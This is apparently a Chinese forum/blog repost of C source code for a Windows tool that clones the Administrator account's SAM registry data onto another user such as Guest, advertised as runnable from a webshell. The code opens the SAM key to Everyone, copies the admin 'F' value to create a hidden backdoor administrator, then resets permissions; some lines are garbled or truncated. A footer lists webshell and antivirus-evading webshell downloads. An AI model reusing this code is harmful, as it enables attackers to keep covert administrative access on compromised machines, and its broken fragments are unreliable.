`
gui1401
  • 浏览: 50107 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)

阅读更多

第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/][color=#003366]www.eviloctal.com[/color][/url])
   本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点.
  WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
Copy code
#include
#include
#include
#include

char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函数用到的变量

//显示用户名对应的安全标识符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用户名和类型值(用户SID)
int Clone (char *C_sid);//克隆帐户
void Usage (void);//帮助信息

//设置注册表的存取权限:
void new();
void old();

void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//为注册表的F与V值分配空间:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//将lpDataF中的值来替换需克隆用户的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度

if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
else
{
printf("Clone User FAIL\n");
return 0;
}
//关闭已打开的注册表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}

void new()
{//下面是设置SAM键的权限为everyone:
    lpObjectName = "MACHINE\\SAM\\SAM";

    ObjectType =SE_REGISTRY_KEY;

    //建立一个空的ACL;
    if (SetEntriesInAcl(0, NULL, NULL, &

    OldDACL)!=ERROR_SUCCESS)
        return;

    if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
        return;

    //获取现有的ACL列表到OldDACL:
    if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                          DACL_SECURITY_INFORMATION,
                          NULL, NULL,
                          &OldDACL,
                          NULL, &SD) != ERROR_SUCCESS)
          printf("指定的键不存在!\n");
// 本文转自 C++Builder 研究 - [url=http://www.ccrun.com/article.asp?i=563&d=tshoza][color=#003366]http://www.ccrun.com/article.asp?i=563&d=tshoza[/color][/url]
//设置用户名"Everyone"对指定的键有所有操作权到结构ea:
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

    BuildExplicitAccessWithName(&ea,
                                "Everyone",      // name of trustee
                                KEY_ALL_ACCESS,    // type of access
                                SET_ACCESS,      // access mode
                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限

   
    //合并结构ea和OldDACL的权限列表到新的NewDACL:
    if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
          goto Cleanup;

    //把新的ACL写入到指定的键:
    SetNamedSecurityInfo(lpObjectName, ObjectType,
          DACL_SECURITY_INFORMATION,
          NULL, NULL,
          NewDACL,
          NULL);
//释放指针
    Cleanup:
    if(SD != NULL)
          LocalFree((HLOCAL) SD);
    if(NewDACL != NULL)
          LocalFree((HLOCAL) NewDACL);
    if(OldDACL != NULL)
          LocalFree((HLOCAL) OldDACL);
}

void old()
{
//恢复注册表的权限:

    BuildExplicitAccessWithName(&ea,
                                "system",      // name of trustee
                                KEY_ALL_ACCESS,    // type of access
                                SET_ACCESS,      // access mode
                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限

    if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
      goto Cleanup;

    //把旧的ACL写入到指定的键:
    SetNamedSecurityInfo(lpObjectName, ObjectType,
          DACL_SECURITY_INFORMATION,
          NULL, NULL,
          OldDACL,
          NULL);
    //释放指针
    Cleanup:
    if(SD != NULL)
          LocalFree((HLOCAL) SD);
    if(NewDACL != NULL)
          LocalFree((HLOCAL) NewDACL);
    if(OldDACL != NULL)
          LocalFree((HLOCAL) OldDACL);

}

//输出帮助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================\n"
"\t名称:2003与2000下克隆任意用户程序\n"
"\t环境:Win2003 + Visual C++ 6.0\n"
"\t作者:[url=mailto:pt007@vip.sina.com][color=#003366]pt007@vip.sina.com[/color][/url]\n"
"\tQQ:7491805\n"
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
"\n"
"\t使用方法:\n"
"\t\"-H\":帮助信息\n"
"\t\"-L\":列出系统中用户对应的SID\n"
"\t\"-C 1F5\":克隆帐户,输入SID即可\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项:\n"
"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"
"===============================================================================\n");
}

分享到:
评论

相关推荐

    源码免杀webshell

    【源码免杀Webshell】是一种特殊的Web应用程序代码,它被设计用来绕过安全系统,允许未经授权的远程访问和控制服务器。在网络安全领域,Webshell是黑客常用的工具,用于在目标服务器上执行命令、上传/下载文件以及...

    webshell 源码

    webshell 源码

    webshell打包源码

    标题中的"webshell打包源码"指的是在Web开发中,将含有潜在安全风险的Web后门,也就是webshell,与源代码一起进行打包处理。Webshell通常是指通过上传恶意脚本到服务器并执行,从而获得对服务器控制的一种手段。打包...

    WebShell管理中心箱子3.0源码.zip

    WebShell管理中心箱子3.0源码,系统采用PHP+MySql搭建 ,数据采用了PhpCms的加密方式,可靠性高 ...1.新建webshell数据库 2.执行webshell.sql文件 3.上传到网站根目录 4.访问/admin 5.用admin admin登陆 6.修改密码

    Webshell查杀C#源码

    Webshell查杀C#源码,最新64位系统专版,源码只用于技术交流,秉承分享精神,请勿用于商业用途

    Seay webshell查杀工具 C#版源码

    Seay webshell查杀工具 C#版源码 懂得有需要的可以看看 非常不错

    Linux WebShell

    Linux WebShell是一个重要的知识点,尤其在网络安全和服务器管理领域。WebShell通常指的是通过Web应用程序漏洞植入的后门程序,它允许攻击者通过Web接口对目标服务器进行远程控制。在Linux环境中,WebShell同样发挥...

    浅谈在WEBSHELL下如何运行命令.pdf

    本文主要讨论了在WEBSHELL环境下如何在不同脚本语言中运行系统命令,特别是针对Windows服务器的情况。以下是对每个章节的详细解释: 0×00 前言: 这部分阐述了随着互联网的发展,B/S架构的广泛应用带来的便利性...

    强大的webshell管理工具-哥斯拉

    3. **交互式管理**:提供一个用户友好的界面,让用户可以直接通过哥斯拉与Webshell进行交互,如执行命令、查看文件系统、数据库等。 4. **日志记录**:记录所有的操作和扫描结果,便于审计和追踪,有助于理解攻击者...

    openwrt_luci_webshell

    在OpenWRT的世界里,`luci`是一个基于Web的用户界面,让配置和管理路由器变得更加直观和方便。而`openwrt_luci_webshell`则是在这个环境中集成的一个特殊功能,允许用户通过Webshell来远程管理和控制OpenWRT设备。 ...

    webshell管理工具

    `wsc.exe`:这个文件可能是一个Webshell管理工具的可执行程序,用于在Windows操作系统上运行。`.exe`是Windows系统的应用程序扩展名,该文件可能是工具的客户端或服务端,允许用户通过命令行接口与远程服务器交互,...

    浅谈在WEBSHELL下如何运行命令

    随着互联网的发展和互联网用户的快速增长,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看...

    容器网页终端(websocket-webshell)

    WebSocket-WebShell通过WebSocket连接到运行在Docker上的SSH服务,使用户能够像操作本地终端一样操作这些容器,这对于远程管理和监控Docker实例非常有用。 HTML5是下一代超文本标记语言,它的离线存储、WebSocket和...

    openwrt中的webshell内有ipk及一个更新文件webshell -新版openwrt不能用的话可用这个

    https://github.com/wjcroom/luci-app-webshell 2021.5.12更新,由于个别openwrt版本,webshell.lua已经更新。...注:必须重启路由,需要替换webshell.lua,因为新版的openwrt不再支持这个lua文件。

    phpwebshell源码

    在互联网安全领域,"PHP Webshell"是一个非常重要的概念,尤其是在网站渗透测试和防御工作中。Webshell通常是指通过输入特定的PHP代码或利用漏洞注入到服务器上的一个恶意脚本,它能提供远程控制服务器的能力。...

    2011版php webshell 国外版

    标题 "2011版php webshell 国外版" 提到的是一个针对PHP环境的Webshell工具,这种工具在网络安全领域中...在合法的范围内,Webshell也可用于系统管理员进行远程运维和问题排查,但应确保安全措施到位,防止被恶意利用。

    哥斯拉1.0_webshell管理_

    【标题】:“哥斯拉1.0_webshell管理_”是一个关于使用名为“哥斯拉”的Webshell管理工具的专题,旨在帮助用户更好地理解和操作Webshell以进行网站安全管理。 【描述】:哥斯拉1.0是一款高效且功能丰富的Webshell...

    第06篇:10款Webshell查杀工具1

    Webshell查杀工具是网络安全领域中的重要组成部分,主要用于检测和清除服务器上可能存在的Webshell后门,这些后门通常由黑客植入,以便在系统中保持非法访问和控制。以下是对标题和描述中提及的10款Webshell查杀工具...

    基于python2.7的linux webshell

    本话题主要关注一个基于Python2.7的Linux Webshell实现,该实现已被证实可以在CentOS7系统上成功运行。Webshell在系统维护、故障排查和自动化任务执行等方面具有很高的实用性,尤其是在远程访问受限或SSH直连困难的...

    这是一个webshell收集项目

    在IT行业中,Webshell是一个非常重要的概念,尤其是在网络安全和服务器管理领域。Webshell,顾名思义,就是通过Web接口实现对服务器控制的一种工具。它通常以PHP、ASP、JSP或其他服务器端脚本语言编写,被黑客用来...

Global site tag (gtag.js) - Google Analytics